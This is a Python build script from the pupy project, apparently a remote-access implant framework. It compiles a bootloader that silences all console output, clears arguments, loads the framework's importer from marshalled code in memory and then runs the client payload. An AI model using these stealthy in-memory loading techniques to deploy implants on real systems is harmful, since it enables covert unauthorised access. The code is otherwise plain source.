pupy/client/sources/gen_python_bootloader.py

58 lines
1.5 KiB
Python
Raw Normal View History

2015-09-21 19:53:37 +00:00
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
2015-09-21 19:53:37 +00:00
import marshal
import struct
import base64
import os.path
remove_stdout="""
import sys
class Blackhole(object):
softspace = 0
def read(self):
pass
def write(self, text):
pass
def flush(self):
pass
sys.stdout = Blackhole()
sys.stderr = Blackhole()
del Blackhole
"""
if len(sys.argv)==2 and sys.argv[1].strip().lower()=="debug":
2016-03-16 22:17:03 +00:00
remove_stdout="print 'DEBUG activated'\n"
2015-09-21 19:53:37 +00:00
def get_load_module_code(code, modulename):
loader="""
import marshal, imp, sys
2015-09-21 19:53:37 +00:00
fullname={}
mod = imp.new_module(fullname)
mod.__file__ = "<bootloader>\\%s" % fullname
exec marshal.loads({}) in mod.__dict__
2015-09-21 19:53:37 +00:00
sys.modules[fullname]=mod
""".format(repr(modulename),repr(code))
return loader
if __name__=="__main__":
code_bytes=[]
code=""
code_bytes.append(compile(remove_stdout, "<string>", "exec"))
code_bytes.append(compile("import sys; sys.argv = [];", "<string>", "exec"))
2015-09-21 19:53:37 +00:00
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
code=f.read()
code=marshal.dumps(compile(code, '<string>', 'exec'))
2015-09-21 19:53:37 +00:00
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
code_bytes.append(compile("import pupyimporter;pupyimporter.install();\n", "<string>", "exec"))
with open(os.path.join("..",'..','pupy',"pp.py")) as f:
2015-09-21 19:53:37 +00:00
code=f.read()
code_bytes.append(compile(code+"\n", "<string>", "exec"))
code_bytes=marshal.dumps(code_bytes)
with open(os.path.join("resources","bootloader.pyc"),'wb') as w:
w.write(code_bytes)